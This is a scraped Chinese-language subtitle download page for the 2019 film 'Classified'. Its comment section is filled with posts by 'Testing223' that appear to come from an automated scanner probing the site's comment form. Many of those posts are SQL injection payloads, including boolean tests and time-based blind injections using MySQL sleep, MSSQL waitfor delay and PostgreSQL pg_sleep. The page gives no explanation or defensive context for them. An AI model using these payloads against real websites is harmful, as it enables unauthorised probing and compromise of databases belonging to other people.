+ 添加字幕

Classified 字幕



 
Classified ((2019))
显示预告片
发布:
等级: 0 / 10 (0 0 vote)
分享这:

#10109
 
Testing223 2018年3月28日 下午8:35:17
1
此评论对你有帮助吗?
0
0
#69711
 
Testing223 2018年4月2日 上午4:38:14
1
此评论对你有帮助吗?
0
0
#69712
 
Testing223 2018年4月2日 上午4:38:14
1
此评论对你有帮助吗?
0
0
#69713
 
Testing223 2018年4月2日 上午4:38:15
-1 OR 2+955-955-1=0+0+0+1 --
此评论对你有帮助吗?
0
0
#69714
 
Testing223 2018年4月2日 上午4:38:18
-1 OR 2+524-524-1=0+0+0+1
此评论对你有帮助吗?
0
0
#69715
 
Testing223 2018年4月2日 上午4:38:20
-1' OR 2+271-271-1=0+0+0+1 --
此评论对你有帮助吗?
0
0
#69716
 
Testing223 2018年4月2日 上午4:38:21
-1' OR 2+655-655-1=0+0+0+1 or '34w36CcD'='
此评论对你有帮助吗?
0
0
#69717
 
Testing223 2018年4月2日 上午4:38:22
-1" OR 2+62-62-1=0+0+0+1 --
此评论对你有帮助吗?
0
0
#69718
 
Testing223 2018年4月2日 上午4:38:23
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
此评论对你有帮助吗?
0
0
#69719
 
Testing223 2018年4月2日 上午4:38:24
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
此评论对你有帮助吗?
0
0
#69720
 
Testing223 2018年4月2日 上午4:38:25
-1; waitfor delay '0:0:9' --
此评论对你有帮助吗?
0
0
#69721
 
Testing223 2018年4月2日 上午4:38:25
-1); waitfor delay '0:0:3' --
此评论对你有帮助吗?
0
0
#69722
 
Testing223 2018年4月2日 上午4:38:25
1 waitfor delay '0:0:3' --
此评论对你有帮助吗?
0
0
#69723
 
Testing223 2018年4月2日 上午4:38:26
1'"
此评论对你有帮助吗?
0
0
#69724
 
Testing223 2018年4月2日 上午4:38:26
HxjPuH8O'; waitfor delay '0:0:6' --
此评论对你有帮助吗?
0
0
#69725
 
Testing223 2018年4月2日 上午4:38:27
-1;select pg_sleep(6); --
此评论对你有帮助吗?
0
0
#69726
 
Testing223 2018年4月2日 上午4:38:27
\
此评论对你有帮助吗?
0
0
#69727
 
Testing223 2018年4月2日 上午4:38:27
-1);select pg_sleep(9); --
此评论对你有帮助吗?
0
0
#69728
 
Testing223 2018年4月2日 上午4:38:27
1
此评论对你有帮助吗?
0
0
#69729
 
Testing223 2018年4月2日 上午4:38:28
-1));select pg_sleep(9); --
此评论对你有帮助吗?
0
0
#69730
 
Testing223 2018年4月2日 上午4:38:28
gx4kF9so';select pg_sleep(3); --
此评论对你有帮助吗?
0
0
#69731
 
Testing223 2018年4月2日 上午4:38:29
G0YQZs8d');select pg_sleep(6); --
此评论对你有帮助吗?
0
0
#69732
 
Testing223 2018年4月2日 上午4:38:29
@@e37Fh
此评论对你有帮助吗?
0
0
#69733
 
Testing223 2018年4月2日 上午4:38:29
W4n8jgAd'));select pg_sleep(6); --
此评论对你有帮助吗?
0
0
#69734
 
Testing223 2018年4月2日 上午4:38:29
JyI=
此评论对你有帮助吗?
0
0
#69735
 
Testing223 2018年4月2日 上午4:38:29
853'
此评论对你有帮助吗?
0
0
#69736
 
Testing223 2018年4月2日 上午4:38:29
1
此评论对你有帮助吗?
0
0
#69737
 
Testing223 2018年4月2日 上午4:38:29
1
此评论对你有帮助吗?
0
0
#69738
 
Testing223 2018年4月2日 上午4:38:30
1
此评论对你有帮助吗?
0
0
#69739
 
Testing223 2018年4月2日 上午4:38:30
1
此评论对你有帮助吗?
0
0
#69741
 
Testing223 2018年4月2日 上午4:38:30
1
此评论对你有帮助吗?
0
0
#69742
 
Testing223 2018年4月2日 上午4:38:30
1
此评论对你有帮助吗?
0
0
#69745
 
Testing223 2018年4月2日 上午4:38:31
1
此评论对你有帮助吗?
0
0
#69746
 
Testing223 2018年4月2日 上午4:38:31
1
此评论对你有帮助吗?
0
0
#69748
 
Testing223 2018年4月2日 上午4:38:32
1
此评论对你有帮助吗?
0
0
#69749
 
Testing223 2018年4月2日 上午4:38:32
1
此评论对你有帮助吗?
0
0
#69751
 
Testing223 2018年4月2日 上午4:38:32
1
此评论对你有帮助吗?
0
0
#69752
 
Testing223 2018年4月2日 上午4:38:32
1
此评论对你有帮助吗?
0
0
#69753
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69755
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69756
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69758
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69760
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69762
 
Testing223 2018年4月2日 上午4:38:33
1
此评论对你有帮助吗?
0
0
#69765
 
Testing223 2018年4月2日 上午4:38:34
1
此评论对你有帮助吗?
0
0
#69766
 
Testing223 2018年4月2日 上午4:38:35
1
此评论对你有帮助吗?
0
0
#69769
 
Testing223 2018年4月2日 上午4:38:36
1
此评论对你有帮助吗?
0
0
#69770
 
Testing223 2018年4月2日 上午4:38:38
1
此评论对你有帮助吗?
0
0
#69772
 
Testing223 2018年4月2日 上午4:38:38
1
此评论对你有帮助吗?
0
0
#69773
 
Testing223 2018年4月2日 上午4:38:39
1
此评论对你有帮助吗?
0
0
#69776
 
Testing223 2018年4月2日 上午4:38:39
1
此评论对你有帮助吗?
0
0
#69778
 
Testing223 2018年4月2日 上午4:38:40
1
此评论对你有帮助吗?
0
0
#69782
 
Testing223 2018年4月2日 上午4:38:41
1
此评论对你有帮助吗?
0
0
#69784
 
Testing223 2018年4月2日 上午4:38:43
1
此评论对你有帮助吗?
0
0
#69786
 
Testing223 2018年4月2日 上午4:38:43
1
此评论对你有帮助吗?
0
0

添加你的评论

找不到字幕

Visitors of SubtitlesBank have given a rating of 0/10 for Classified 字幕 . Subtitles of different languages may be downloaded for free as a .zip file from our site. Inside, you'll find an .srt file, which is actually what adds the translation to your video. HD-quality versions are also available.

Classified first appeared on the screen back in 2019. We encourage you to leave comments regarding the Classified 字幕 : is the translation good enough? Are there any mistakes? What other subtitles would you like to see from us?

The subtitle database SubtitlesBank is sure to delight lovers of world cinema masterpieces. Now you'll be able to watch and understand any movie or show. All you need to do is click on the appropriate link, download the free subtitles, and attach them to your video!


最新的电视节目
最新电影
Popular Movies
关闭